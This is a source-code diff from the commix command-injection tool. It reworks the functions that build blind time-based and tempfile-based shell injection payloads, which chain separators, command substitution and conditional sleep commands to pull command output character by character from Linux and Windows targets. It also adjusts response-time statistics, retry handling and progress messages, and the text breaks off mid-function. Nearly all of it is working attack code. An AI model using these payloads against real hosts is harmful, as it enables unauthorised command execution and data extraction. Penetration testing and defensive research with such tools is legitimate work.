str(timesec) + separator + + "fi" + ) + + elif separator == _urllib.parse.quote("&&") : + ampersand = _urllib.parse.quote("&") + payload = (ampersand + + "sleep 0" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "[ " + str(candidate_length) + " -le $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + + "sleep " + str(timesec) + ) + + elif separator == "||" : + pipe = "|" + # Keep the leading pipe and "||" injection syntax; only length computation runs pipe-free. + payload = (pipe + + # Inverted to -gt: "||" only runs sleep when this test fails, so sleep still fires exactly when candidate_length <= actual. + "[ " + str(candidate_length) + " -gt $(" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ";echo ${#" + settings.RANDOM_VAR_GENERATOR + "}) ]" + separator + + "sleep " + str(timesec) + ) + else: + pass + + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def get_length_alter_shell(separator, cmd, candidate_length, timesec, http_request_method): + if settings.TARGET_OS == settings.OS.WINDOWS: + if separator in ("|", "||"): + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c " + + cmd + + "') do if %i GEQ " + str(candidate_length) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" + ) + elif separator == _urllib.parse.quote("&&") : + ampersand = _urllib.parse.quote("&") + payload = (ampersand + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c " + + cmd + + "') do if %i GEQ " + str(candidate_length) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" + ) + else: + pass + + else: + settings.USER_APPLIED_CMD = cmd + if separator in (";", "%0a"): + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(candidate_length) + " -le ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" + ) + elif separator == _urllib.parse.quote("&&") : + ampersand = _urllib.parse.quote("&") + payload = (ampersand + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(candidate_length) + " -le ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " + ) + elif separator == "||" : + pipe = "|" + payload = (pipe + + # Inverted to -gt: "||" only runs sleep when this test fails, so sleep still fires exactly when candidate_length <= actual. + "[ " + str(candidate_length) + " -gt " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + else: + pass + + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + + return checks.sanitize_payload_newlines(payload) + """ Get the execution output, of shell execution. """ -def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): +def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + # Use bisection by default; validation re-probes the resolved value with equality. + win_operator = "GEQ" if operator == "-le" else "EQU" if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i GEQ " + str(ascii_char) + settings.SINGLE_WHITESPACE + + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i GEQ " + str(ascii_char) + settings.SINGLE_WHITESPACE + + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -313,14 +433,17 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met if settings.USE_BACKTICKS: cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX settings.USER_APPLIED_CMD = cmd + # Strip the prefix with shell parameter expansion and keep the next byte literally. + qmarks = "?" * (num_of_chars - 1) + ordinal_expr = "$(printf '%d' \"'${" + settings.RANDOM_VAR_GENERATOR + "}\")" + if separator in (";", "%0a") : - pipe = "|" payload = (separator + # Grab the execution output. - settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + - # Export command output character-by-character as ASCII values (portable across GNU/BSD). - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + pipe + "head -1" + pipe + "awk '{print$2}'" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -le $" + settings.RANDOM_VAR_GENERATOR + " ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + separator + + "if [ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + ordinal_expr + " ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -329,25 +452,26 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - pipe = "|" payload = (ampersand + "sleep 0 " + separator + # Grab the execution output. - settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + - # Export command output character-by-character as ASCII values (portable across GNU/BSD). - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + pipe + "head -1" + pipe + "awk '{print$2}'" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + separator + # Perform the time-based comparisons - "[ " + str(ascii_char) + " -le ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + ordinal_expr + " ] " + separator + "sleep " + str(timesec) ) # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" + # Keep the pipe syntax; run extraction pipe-free in a self-contained subshell. payload = (pipe + - "[ " + str(ascii_char) + " -gt " + settings.CMD_SUB_PREFIX + cmd + pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + - pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + - pipe + "head -1" + pipe + "awk '{print$2}'" + settings.CMD_SUB_SUFFIX + " ]" + separator + + "[ " + str(ascii_char) + " -gt $(" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ";" + + settings.RANDOM_VAR_GENERATOR + "=${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "};" + + settings.RANDOM_VAR_GENERATOR + "=${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"};" + + "printf '%d' \"'${" + settings.RANDOM_VAR_GENERATOR + "}\") ]" + separator + "sleep " + str(timesec) ) else: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6c0c2bc2ac..7df3d66702 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -28,6 +28,7 @@ import traceback import subprocess import contextlib +import statistics from glob import glob from src.utils import common from src.utils import logs @@ -40,6 +41,7 @@ from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters +from src.core.requests import stability from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import http_client as _http_client @@ -395,12 +397,15 @@ def connection_exceptions(err_msg): with settings.REQUESTS_LOCK: settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: - time.sleep(settings.DELAY_RETRY) + delay = stability.retry_delay_seconds() + if delay: + time.sleep(delay) if not any((settings.MULTI_TARGETS, settings.CRAWLING,settings.REVERSE_TCP,settings.BIND_TCP)): - warn_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." + warn_msg = "Connection error (" + str(err_msg) + "), retrying request (" + str(settings.TOTAL_OF_REQUESTS) + "/" + str(settings.MAX_RETRIES) + ")." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.VISIBLE_CONNECTION_ERRORS += 1 if not settings.VALID_URL : - if settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS: + if stability.should_abandon_target(): raise SystemExit() """ @@ -529,17 +534,42 @@ def save_cmd_history(): Testing technique (title) """ def testing_technique_title(injection_type, technique): + # A new technique's title - the completion label below is free to print again for it. + settings.LAST_COMPLETED_TECHNIQUE = None + settings.LAST_DOT_BUCKET = -1 if settings.VERBOSITY_LEVEL != 0: info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + # Close a previous technique's dangling "... (done)" line first. + settings.clear_current_line() + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) """ -Injection process (percent) +Injection process (percent) - a "." per attempt instead of a live percentage, except for +the terminal markers (all-tested-no-result / already-found), which still replace the line. """ def injection_process(injection_type, technique, percent): if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + # Ensure the progress label is shown before appending the prompt result. + if not settings.PROGRESS_LINE_OPEN: + testing_technique_title(injection_type, technique) + if "%" in str(percent): + # One dot per combination can get unreadably long - only cross a 4%-wide bucket. + match = re.search(r"([\d.]+)%", str(percent)) + if match: + bucket = int(float(match.group(1)) // 4) + if bucket == settings.LAST_DOT_BUCKET: + return + settings.LAST_DOT_BUCKET = bucket + settings.print_data_to_stdout(".") + return + # Can be hit once per false-positive retry on the same technique - only print once. + if settings.LAST_COMPLETED_TECHNIQUE == technique: + return + settings.LAST_COMPLETED_TECHNIQUE = technique + settings.print_data_to_stdout(" (done)") """ @@ -781,23 +811,25 @@ def captcha_check(page): Checking the reliability of the used payload message. """ def check_for_false_positive_result(false_positive_warning): - info_msg = "Checking if the injection point on " - info_msg += settings.CHECKING_PARAMETER + " is a false positive." + settings.END_LINE.LF - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - warn_msg = "Time-based comparison requires " + ('larger', 'reset of')[false_positive_warning] + " statistical model" + # Preserve completed progress lines; non-spinner output already ends the line. + info_msg = "Checking whether the identified injection point on " + info_msg += settings.CHECKING_PARAMETER + " is a false positive." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + info_msg = ("Verifying the identified injection point", "Verifying the identified injection point with a longer delay to rule out noise")[false_positive_warning] if settings.VERBOSITY_LEVEL != 0: - warn_msg = warn_msg + "." + settings.END_LINE.LF + info_msg = info_msg + "." + settings.END_LINE.LF else: - warn_msg = warn_msg +", please wait..." - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) + info_msg = info_msg +", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) """ False positive or unexploitable injection point detected. """ -def unexploitable_point(): +def unexploitable_point(retry_attempt=None, retry_total=None): if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - warn_msg = "False positive or unexploitable injection point has been detected." + warn_msg = "False positive or unexploitable injection point has been detected. Trying for re-verification" + warn_msg += (" (" + str(retry_attempt) + "/" + str(retry_total) + ").") if retry_attempt else "." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) """ @@ -997,7 +1029,9 @@ def continue_tests(err): common.invalid_option(continue_tests) pass except AttributeError: - # No HTTP status for raw connection errors; report the failure instead of exiting silently. + # No HTTP code (e.g. connection reset) - retry a bounded number of times. + if stability.should_retry_connection_error(err): + return True settings.print_data_to_stdout(settings.print_critical_msg(err)) return False except KeyboardInterrupt: @@ -1341,17 +1375,27 @@ def time_delay_recommendation(): Message regarding unexpected time delays due to unstable requests """ def time_delay_due_to_unstable_request(timesec): - message = "Unexpected time delays, which could cause false-positive results, have been identified." + # Already answered this run - reapply it instead of asking again. + if settings.UNSTABLE_REQUEST_CHOICE: + if settings.UNSTABLE_REQUEST_CHOICE == "c" and settings.UNSTABLE_REQUEST_BUMPS < settings.MAX_UNSTABLE_TIMESEC_BUMP: + timesec = timesec + 1 + settings.UNSTABLE_REQUEST_BUMPS = settings.UNSTABLE_REQUEST_BUMPS + 1 + return timesec, settings.UNSTABLE_REQUEST_CHOICE == "c" + + message = "Unexpected time delays have been identified." settings.print_data_to_stdout(settings.END_LINE.CR) while True: - message = message + " How do you want to proceed? [(C)ontinue/(s)kip] > " + message = message + " How do you want to proceed? [(C)ontinue with a longer delay/(s)kip this candidate and try the next] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": + settings.UNSTABLE_REQUEST_CHOICE = "c" + settings.UNSTABLE_REQUEST_BUMPS = 1 timesec = timesec + 1 false_positive_fixation = True - return timesec, false_positive_fixation + return timesec, false_positive_fixation elif proceed_option.lower() == "s": + settings.UNSTABLE_REQUEST_CHOICE = "s" false_positive_fixation = False return timesec, false_positive_fixation elif proceed_option.lower() == "q": @@ -1361,22 +1405,60 @@ def time_delay_due_to_unstable_request(timesec): pass """ -Time related shell condition +Drop high-latency spikes from a response-time sample via a median/MAD cutoff. +""" +def strip_time_outliers(values): + if not values or len(values) < settings.MIN_TIME_RESPONSES // 2: + return values + ordered = sorted(values) + median = ordered[len(ordered) // 2] + mad = sorted(abs(value - median) for value in values)[len(values) // 2] + if mad <= 0: + return values + cutoff = median + settings.TIME_OUTLIER_MAD_COEFF * 1.4826 * mad + result = [value for value in values if value <= cutoff] + return result if len(result) >= max(settings.MIN_TIME_RESPONSES // 2, len(values) // 2) else values + +""" +Feed a genuinely non-delayed response time into the rolling baseline model. +""" +def record_baseline_response_time(exec_time): + settings.RESPONSE_TIMES.append(exec_time) + if len(settings.RESPONSE_TIMES) > settings.MAX_TIME_RESPONSES: + settings.RESPONSE_TIMES[:] = settings.RESPONSE_TIMES[-(settings.MAX_TIME_RESPONSES // 2):] + +""" +Return the adaptive delay threshold, or None until enough baseline data is available. +""" +def current_delay_threshold(): + sample = strip_time_outliers(settings.RESPONSE_TIMES) + if len(sample) >= settings.MIN_TIME_RESPONSES: + deviation = statistics.pstdev(sample) + if deviation: + return max(settings.MIN_VALID_DELAYED_RESPONSE, statistics.mean(sample) + settings.TIME_STDEV_COEFF * deviation) + return None + +""" +Time related shell condition. Uses the adaptive threshold once available, else a fixed one. """ def time_related_shell(url_time_response, exec_time, timesec): - if (url_time_response == 0 and (exec_time - timesec) >= 0) or \ - (url_time_response != 0 and (exec_time - timesec) == 0 and (exec_time == timesec)) or \ - (url_time_response != 0 and (exec_time - timesec) > 0 and (exec_time >= timesec + 1)): - return True - else: - return False + lower_limit = current_delay_threshold() + delayed = exec_time >= lower_limit if lower_limit is not None else exec_time >= timesec + + # Asked once, the first time any response actually reads as delayed - same gate + # governs both raising the delay on failure and shrinking it on good responses. + if delayed and settings.ADJUST_TIME_DELAY_CHOICE is None: + msg = "Do you want commix to try to optimize the value(s) for delay responses (option '--time-sec')? [Y/n] " + settings.ADJUST_TIME_DELAY_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES + + return delayed """ Message regarding time related attcks """ def time_related_attaks_msg(): if not settings.TIME_RELATED_ATTACK_WARNING: - warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." + warn_msg = "Excessive network load may affect the reliability of time-related payloads." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.TIME_RELATED_ATTACK_WARNING = True @@ -2994,7 +3076,15 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler path = tmp_path setting_writable_dir(path) + # Runs mid file-based-technique, so label the detour or it reads as file-based's + # own result showing up in the wrong place. + info_msg = "Switching to the tempfile-based injection technique." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.SKIP_NEXT_TECHNIQUE_TITLE = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) + if call_tfb == False: + info_msg = "Resuming the file-based command injection technique tests." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return call_tfb else: settings.print_data_to_stdout(settings.END_LINE.CR) @@ -3004,7 +3094,6 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met """ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - settings.print_data_to_stdout(settings.END_LINE.CR) while True: message = "Insufficient permissions on directory '" + settings.WEB_ROOT + "'. " message += "Do you want to use '" + tmp_path + "' instead? [Y/n] > " @@ -3034,10 +3123,17 @@ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_ Adjusts the timesec delay """ def time_related_timesec(): - min_safe_delay = settings.MIN_SAFE_TIMESEC + # Scale the floor by confirmed instability. + if settings.UNSTABLE_REQUEST_CHOICE: + min_safe_delay = max(settings.MIN_SAFE_TIMESEC_UNSTABLE, settings.UNSTABLE_REQUEST_BUMPS) + else: + min_safe_delay = settings.MIN_SAFE_TIMESEC + # Never start below the measured baseline, or normal slow responses look delayed. + if settings.URL_TIME_RESPONSE: + min_safe_delay = max(min_safe_delay, settings.URL_TIME_RESPONSE + settings.TIME_DELAY_STEP) if settings.TIME_RELATED_ATTACK and settings.TIMESEC < min_safe_delay: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Adjusting '--time-sec' to minimum safe delay of " + str(min_safe_delay) + "s. In case of inconsistencies, increase it manually." + debug_msg = "Adjusting '--time-sec' to minimum safe delay of " + str(min_safe_delay) + " second" + ("s" if min_safe_delay > 1 else "") + ". In case of inconsistencies, it will be auto-increased." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) return min_safe_delay else: @@ -3054,12 +3150,12 @@ def time_related_export_injection_results(cmd, separator, output, check_exec_tim settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # settings.print_data_to_stdout(settings.print_output(output)) else: - # Check for separator filtration on target host. + # Could be separator filtration on target host, or simply an invalid/wrong command. if output != False : - err_msg = "It seems '" + cmd + "' command could not return " - err_msg += "any output due to '" + separator + "' filtration on target host. " - err_msg += "To bypass that limitation, use the '--alter-shell' option " - err_msg += "or try another injection technique." + err_msg = "The '" + cmd + "' command did not return any output. This could be due to " + err_msg += "'" + separator + "' filtration on the target host, or the command itself " + err_msg += "being invalid. If you're confident it's valid, try the '--alter-shell' " + err_msg += "option or another injection technique." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) # Check for invalid provided command. else: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 67046515d3..9f7b133574 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -93,7 +93,7 @@ def check_for_stored_sessions(url, check_parameter, http_request_method): if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: # Check every call site instead of only the first parameter or header. url, check_parameter = session_handler.check_stored_injection_points(url, check_parameter, http_request_method) - # Load stored techniques once so each technique can resume without re-querying. + # Load stored techniques once so each can resume without re-querying storage. settings.STORED_TECHNIQUES = session_handler.load_stored_techniques(url, check_parameter, http_request_method) return url, check_parameter diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index a9e9f21fe4..50f15d539b 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -108,7 +108,9 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, return True else: time.sleep(timesec) - if menu.options.ignore_session or session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: + _stored_shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + _resuming = _stored_shell is not None and _stored_shell.startswith(settings.PARTIAL_VALUE_MARKER) + if menu.options.ignore_session or _stored_shell is None or _resuming: # The main command injection exploitation. if settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: @@ -130,7 +132,7 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, if not menu.options.ignore_session: session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + shell = _stored_shell if shell or shell != "": settings.print_data_to_stdout(settings.command_execution_output(shell)) @@ -175,6 +177,11 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, """ def do_time_related_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): + if settings.THREADS > 1 and settings.THREADED_TIME_RETRIEVAL_CHOICE is None: + msg = "Multi-threading is considered unsafe for time-related data retrieval. " + msg += "Do you want to continue using threads anyway? [Y/n] " + settings.THREADED_TIME_RETRIEVAL_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES + counter = 1 num_of_chars = 1 vp_flag = True @@ -187,7 +194,6 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti timesec = checks.time_related_timesec() if settings.TIME_RELATED_ATTACK == False: - checks.time_related_attaks_msg() settings.TIME_RELATED_ATTACK = None # Check if defined "--url-reload" option. @@ -206,7 +212,11 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES: - checks.testing_technique_title(injection_type, technique) + # Skip redundant progress output when the fallback already announced the technique. + if settings.SKIP_NEXT_TECHNIQUE_TITLE == technique: + settings.SKIP_NEXT_TECHNIQUE_TITLE = None + else: + checks.testing_technique_title(injection_type, technique) # Re-check tamper compatibility now that the technique and target OS are known. checks.tamper_scripts(stored_tamper_scripts=True) @@ -249,153 +259,161 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti if not resumed: num_of_chars = num_of_chars + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - # Change TAG on every request to prevent false-positive resutls. - TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) - # The output file for file-based injection technique. - alter_shell = menu.options.alter_shell - tag_length = len(TAG) + 4 - if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) - for output_length in range(1, int(tag_length)): - try: - # Tempfile-based decision payload (check if host is vulnerable). - if alter_shell: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method) - else: - payload = payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) - else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.decision(separator, TAG, output_length, timesec, http_request_method) + # Retry the same separator once with a fresh TAG before moving to the next one. + for _false_positive_retry in range(settings.FALSE_POSITIVE_RETRIES): + # Check for bad combination of prefix and separator + combination = prefix + separator + if combination in settings.JUNK_COMBINATION: + prefix = "" + # Change TAG on every request to prevent false-positive resutls. + TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) + # The output file for file-based injection technique. + alter_shell = menu.options.alter_shell + tag_length = len(TAG) + 4 + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) + for output_length in range(1, int(tag_length)): + try: + # Tempfile-based decision payload (check if host is vulnerable). + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method) + else: + payload = payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) else: - payload = payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.decision(separator, TAG, output_length, timesec, http_request_method) + else: + payload = payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) - vuln_parameter = "" - exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + vuln_parameter = "" + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - # Statistical analysis in time responses. - exec_time_statistic.append(exec_time) - # Injection percentage calculation - percent, float_percent = checks.percentage_calculation(num_of_chars, total) + # Statistical analysis in time responses. + exec_time_statistic.append(exec_time) + # Injection percentage calculation + percent, float_percent = checks.percentage_calculation(num_of_chars, total) - if percent == 100 and no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS + if percent == 100 and no_result == True: + if settings.VERBOSITY_LEVEL == 0: + percent = settings.FAIL_STATUS + else: + percent = "" else: - percent = "" - else: - if checks.time_related_shell(url_time_response, exec_time, timesec): - # Time 